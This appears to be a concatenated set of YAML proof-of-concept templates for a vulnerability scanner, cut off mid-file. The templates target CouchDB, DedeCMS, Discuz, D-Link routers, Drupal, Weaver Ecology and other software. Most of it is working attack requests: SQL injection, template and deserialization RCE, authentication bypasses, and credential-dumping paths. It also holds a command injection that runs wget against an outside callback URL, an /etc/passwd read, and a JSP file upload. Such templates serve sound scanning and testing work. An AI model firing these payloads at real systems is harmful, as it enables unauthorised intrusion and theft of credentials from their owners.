headers:
Content-Length: "192"
Content-Type: application/json
body: |-
{
"type": "user",
"name": "{{r1}}",
"roles": ["_admin"],
"roles": [],
"password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9"
}
follow_redirects: false
expression: response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1))
expression: r0()
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
================================================
FILE: pocs/couchdb-unauth.yml
================================================
name: poc-yaml-couchdb-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /_config
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager")
expression: r0()
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://www.seebug.org/vuldb/ssvid-91597
================================================
FILE: pocs/craftcms-seomatic-cve-2020-9757-rce.yml
================================================
name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
poc10:
request:
cache: true
method: GET
path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}
expression: response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
poc20:
request:
cache: true
method: GET
path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}
expression: response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
expression: poc10() || poc20()
detail:
author: x1n9Qi8
links:
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757
================================================
FILE: pocs/dahua-cve-2021-33044-authentication-bypass.yml
================================================
name: poc-yaml-dahua-cve-2021-33044-authentication-bypass
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /RPC2_Login
body: '{"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}'
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"{\"id\":1,\"params\":{\"keepAliveInterval\":60},\"result\":true,\"session\":\"")
expression: r0()
detail:
author: For3stCo1d (https://github.com/For3stCo1d)
description: "dahua-authentication-bypass"
links:
- https://seclists.org/fulldisclosure/2021/Oct/13
- https://github.com/dorkerdevil/CVE-2021-33044
================================================
FILE: pocs/datang-ac-default-password-cnvd-2021-04128.yml
================================================
name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /login.cgi
body: user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
follow_redirects: false
expression: response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128
================================================
FILE: pocs/dedecms-carbuyaction-fileinclude.yml
================================================
name: poc-yaml-dedecms-carbuyaction-fileinclude
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=alipay
follow_redirects: true
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=cod
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("Cod::respond()"))
expression: r0() && r1()
detail:
author: harris2015(https://github.com/harris2015)
links:
- https://www.cnblogs.com/milantgh/p/3615986.html
Affected Version: DedeCmsV5.x
================================================
FILE: pocs/dedecms-cve-2018-6910.yml
================================================
name: poc-yaml-dedecms-cve-2018-6910
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /include/downmix.inc.php
expression: response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()"))
expression: r0()
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md
================================================
FILE: pocs/dedecms-cve-2018-7700-rce.yml
================================================
name: poc-yaml-dedecms-cve-2018-7700-rce
manual: true
transport: http
set:
r: randomInt(2000000000, 2100000000)
rules:
r0:
request:
cache: true
method: GET
path: /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
expression: r0()
detail:
author: harris2015(https://github.com/harris2015)
links:
- https://xz.aliyun.com/t/2224
Affected Version: V5.7SP2正式版(2018-01-09)
================================================
FILE: pocs/dedecms-guestbook-sqli.yml
================================================
name: poc-yaml-dedecms-guestbook-sqli
manual: true
transport: http
set:
r: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: response.status == 200
output:
search: '"action=admin&id=(?P<articleid>\\d{1,20})".bsubmatch(response.body)'
articleid: search["articleid"]
r1:
request:
cache: true
method: GET
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
follow_redirects: true
expression: response.status == 200
r2:
request:
cache: true
method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
expression: r0() && r1() && r2()
detail:
author: harris2015(https://github.com/harris2015)
links:
- https://blog.csdn.net/god_7z1/article/details/8180454
Affected Version: "5.7"
================================================
FILE: pocs/dedecms-membergroup-sqli.yml
================================================
name: poc-yaml-dedecms-membergroup-sqli
manual: true
transport: http
set:
r: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: GET
path: /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
expression: r0()
detail:
author: harris2015(https://github.com/harris2015)
links:
- http://www.dedeyuan.com/xueyuan/wenti/1244.html
Affected Version: 5.6,5.7
================================================
FILE: pocs/dedecms-url-redirection.yml
================================================
name: poc-yaml-dedecms-url-redirection
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
follow_redirects: false
expression: response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
expression: r0()
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://blog.csdn.net/ystyaoshengting/article/details/82734888
Affected Version: V5.7 sp1
================================================
FILE: pocs/discuz-ml3x-cnvd-2019-22239.yml
================================================
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: GET
path: /forum.php
follow_redirects: false
expression: response.status == 200
output:
search: '"cookiepre = ''(?P<token>[\\w_]+)''".bsubmatch(response.body)'
token: search["token"]
r1:
request:
cache: true
method: GET
path: /forum.php
headers:
Cookie: '{{token}}language=sc''.print(md5({{r1}})).'''
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
expression: r0() && r1()
detail:
author: X.Yang
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
Discuz_version: Discuz!ML 3.x
================================================
FILE: pocs/discuz-v72-sqli.yml
================================================
name: poc-yaml-discuz-v72-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
follow_redirects: false
expression: 'response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info</b>: MySQL Query Error")'
expression: r0()
detail:
author: leezp
links:
- https://blog.csdn.net/weixin_40709439/article/details/82780606
Affected Version: discuz <=v7.2
vuln_url: /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20
================================================
FILE: pocs/discuz-wechat-plugins-unauth.yml
================================================
name: poc-yaml-discuz-wechat-plugins-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /plugin.php?id=wechat:wechat&ac=wxregister
follow_redirects: false
expression: response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com")
expression: r0()
detail:
author: JrD
links:
- https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI
================================================
FILE: pocs/discuz-wooyun-2010-080723.yml
================================================
name: poc-yaml-discuz-wooyun-2010-080723
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: GET
path: /viewthread.php?tid=10
headers:
Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}}));
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
author: Loneyer
links:
- https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723
version: Discuz 7.x/6.x
================================================
FILE: pocs/dlink-850l-info-leak.yml
================================================
name: poc-yaml-dlink-850l-info-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /hedwig.cgi
headers:
Content-Type: text/xml
Cookie: uid=R8tBjwtFc8
body: <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>") && response.body.bcontains(b"<result>OK</result>")
expression: r0()
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://xz.aliyun.com/t/2941
Affected Version: Dir-850L
================================================
FILE: pocs/dlink-cve-2019-16920-rce.yml
================================================
name: poc-yaml-dlink-cve-2019-16920-rce
manual: true
transport: http
set:
reverse: newReverse()
reverseURL: reverse.url
rules:
r0:
request:
cache: true
method: POST
path: /apply_sec.cgi
headers:
Content-Type: application/x-www-form-urlencoded
body: html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}}
follow_redirects: true
expression: response.status == 200 && reverse.wait(5)
expression: r0()
detail:
author: JingLing(https://hackfun.org/)
links:
- https://www.anquanke.com/post/id/187923
- https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
================================================
FILE: pocs/dlink-cve-2019-17506.yml
================================================
name: poc-yaml-dlink-cve-2019-17506
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
expression: r0()
detail:
author: l1nk3r,Huasir(https://github.com/dahua966/)
links:
- https://xz.aliyun.com/t/6453
================================================
FILE: pocs/dlink-cve-2020-25078-account-disclosure.yml
================================================
name: poc-yaml-dlink-cve-2020-25078-account-disclosure
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /config/getuser?index=0
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=")
expression: r0()
detail:
author: kzaopa(https://github.com/kzaopa)
links:
- https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg
================================================
FILE: pocs/dlink-cve-2020-9376-dump-credentials.yml
================================================
name: poc-yaml-dlink-cve-2020-9376-dump-credentials
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
expression: response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
expression: r0()
detail:
author: x1n9Qi8
links:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
Affected Version: Dlink DIR-610
================================================
FILE: pocs/dlink-dsl-2888a-rce.yml
================================================
name: poc-yaml-dlink-dsl-2888a-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /page/login/login.html
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";")
r1:
request:
cache: true
method: POST
path: /
headers:
Content-Type: application/x-www-form-urlencoded
body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
follow_redirects: false
expression: response.status == 302 && response.headers["location"] == "/page/login/login_fail.html"
r2:
request:
cache: true
method: GET
path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)")
expression: r0() && r1() && r2()
detail:
author: mvhz81
links:
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE
================================================
FILE: pocs/docker-api-unauthorized-rce.yml
================================================
name: poc-yaml-docker-api-unauthorized-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /info
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
expression: r0()
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
================================================
FILE: pocs/docker-registry-api-unauth.yml
================================================
name: poc-yaml-docker-registry-api-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /v2/
follow_redirects: false
expression: response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
r1:
request:
cache: true
method: GET
path: /v2/_catalog
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
expression: r0() && r1()
detail:
author: p0wd3r
links:
- http://www.polaris-lab.com/index.php/archives/253/
================================================
FILE: pocs/dotnetcms-sqli.yml
================================================
name: poc-yaml-dotnetcms-sqli
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(1, 100)
rules:
r0:
request:
cache: true
method: GET
path: /user/City_ajax.aspx
follow_redirects: false
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2--
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
expression: r0() && r1()
detail:
links:
- https://www.cnblogs.com/rebeyond/p/4951418.html
- http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742
Affected Version: v1.0~v2.0
================================================
FILE: pocs/draytek-cve-2020-8515.yml
================================================
name: poc-yaml-draytek-cve-2020-8515
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /cgi-bin/mainfunction.cgi
headers:
Content-Type: text/plain; charset=UTF-8
body: action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a
expression: response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"gid") && "root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: Soveless(https://github.com/Soveless)
links:
- https://github.com/imjdl/CVE-2020-8515-PoC
Affected Version: Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2
================================================
FILE: pocs/druid-monitor-unauth.yml
================================================
name: poc-yaml-druid-monitor-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /druid/index.html
expression: response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
expression: r0()
detail:
author: met7or
links:
- https://github.com/alibaba/druid
================================================
FILE: pocs/drupal-cve-2014-3704-sqli.yml
================================================
name: poc-yaml-drupal-cve-2014-3704-sqli
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
method: POST
path: /?q=node&destination=node
headers:
Content-Type: application/x-www-form-urlencoded
body: pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(select md5({{rand}}))),0)%23]=bob&name[0]=a
expression: response.status == 500 && response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
expression: r0()
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
Affected Version: Drupal < 7.32
================================================
FILE: pocs/drupal-cve-2018-7600-rce.yml
================================================
name: poc-yaml-drupal-cve-2018-7600-rce
manual: true
transport: http
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
drupal70:
request:
cache: true
method: POST
path: /?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
expression: response.status == 200
output:
search: '"name=\"form_build_id\"\\s+value=\"(?P<build_id>.+?)\"".bsubmatch(response.body)'
build_id: search["build_id"]
drupal71:
request:
cache: true
method: POST
path: /?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: response.body.bcontains(bytes(r1 + "%" + r2))
drupal80:
request:
cache: true
method: POST
path: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: response.body.bcontains(bytes(r1 + "%" + r2))
expression: drupal80() || drupal70() && drupal71()
detail:
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
================================================
FILE: pocs/drupal-cve-2019-6340.yml
================================================
name: poc-yaml-drupal-cve-2019-6340
manual: true
transport: http
set:
host: request.url.host
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
r0:
request:
cache: true
method: POST
path: /node/?_format=hal_json
headers:
Accept: '*/*'
Content-Type: application/hal+json
body: |
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://{{host}}/rest/type/shortcut/default"
}
}
}
follow_redirects: true
expression: response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2))
expression: r0()
detail:
author: thatqier
links:
- https://github.com/jas502n/CVE-2019-6340
- https://github.com/knqyf263/CVE-2019-6340
================================================
FILE: pocs/dubbo-admin-default-password.yml
================================================
name: poc-yaml-dubbo-admin-default-password
manual: true
transport: http
rules:
guest0:
request:
cache: true
method: GET
path: /
headers:
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
expression: 'response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": guest'', ''/logout''") && response.body.bcontains(b"/sysinfo/versions")'
root0:
request:
cache: true
method: GET
path: /
headers:
Authorization: Basic cm9vdDpyb290
expression: 'response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": root'', ''/logout''") && response.body.bcontains(b"/sysinfo/versions")'
expression: root0() || guest0()
detail:
author: mumu0215(https://github.com/mumu0215)
links:
- https://www.cnblogs.com/wishwzp/p/9438658.html
================================================
FILE: pocs/duomicms-sqli.yml
================================================
name: poc-yaml-duomicms-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005)))
follow_redirects: false
expression: response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935")
expression: r0()
detail:
author: hanxiansheng26(https://github.com/hanxiansheng26)
links:
- https://xz.aliyun.com/t/2828
Affected Version: duomicms<3.0
================================================
FILE: pocs/dvr-cve-2018-9995.yml
================================================
name: poc-yaml-dvr-cve-2018-9995
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /device.rsp?opt=user&cmd=list
headers:
Cookie: uid=admin
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b"playback")
expression: r0()
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://s.tencent.com/research/bsafe/474.html
Affected Version: DVR
================================================
FILE: pocs/e-zkeco-cnvd-2020-57264-read-file.yml
================================================
name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /iclock/ccccc/windows/win.ini
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: r0()
detail:
author: ThestaRY (https://github.com/ThestaRY7/)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264
info: E-ZKEco readfileCNVD-2020-57264
================================================
FILE: pocs/ecology-arbitrary-file-upload.yml
================================================
name: poc-yaml-ecology-arbitrary-file-upload
manual: true
transport: http
set:
r1: randomLowercase(4)
r2: randomInt(40000, 44800)
r3: randomInt(40000, 44800)
rules:
r0:
request:
cache: true
method: POST
path: /page/exportImport/uploadOperation.jsp
headers:
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed
body: "\
--b0d829daa06c13d6b3e16b0ad21d1eed\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"{{r1}}.jsp\"\r\n\
Content-Type: application/octet-stream\r\n\
\r\n\
<%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
--b0d829daa06c13d6b3e16b0ad21d1eed--\r\n\
"
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /page/exportImport/fileTransfer/{{r1}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
expression: r0() && r1()
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
================================================
FILE: pocs/ecology-filedownload-directory-traversal.yml
================================================
name: poc-yaml-ecology-filedownload-directory-traversal
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
expression: r0()
detail:
author: l1nk3r
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
================================================
FILE: pocs/ecology-javabeanshell-rce.yml
================================================
name: poc-yaml-ecology-javabeanshell-rce
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
r0:
request:
cache: true
method: POST
path: /weaver/bsh.servlet.BshServlet
body: bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
author: l1nk3r
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
================================================
FILE: pocs/ecology-springframework-directory-traversal.yml
================================================
name: poc-yaml-ecology-springframework-directory-traversal
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
expression: r0()
detail:
author: l1nk3r
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
================================================
FILE: pocs/ecology-syncuserinfo-sqli.yml
================================================
name: poc-yaml-ecology-syncuserinfo-sqli
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
r0:
request:
cache: true
method: GET
path: /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str({{r1}}*{{r2}}),null
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
author: MaxSecurity(https://github.com/MaxSecurity)
links:
- https://www.weaver.com.cn/
================================================
FILE: pocs/ecology-v8-sqli.yml
================================================
name: poc-yaml-ecology-v8-sqli
manual: true
transport: http
set:
r1: randomInt(1000, 9999)
r2: randomInt(1000, 9999)
rules:
r0:
request:
cache: true
method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
author: Print1n(http://print1n.top)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
================================================
FILE: pocs/ecology-validate-sqli.yml
================================================
name: poc-yaml-ecology-validate-sqli
manual: true
transport: http
set:
r1: randomInt(8000, 9999)
r2: randomInt(800, 1000)
rules:
r0:
request:
cache: true
method: POST
path: /cpt/manage/validate.jsp?sourcestring=validateNum
body: sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0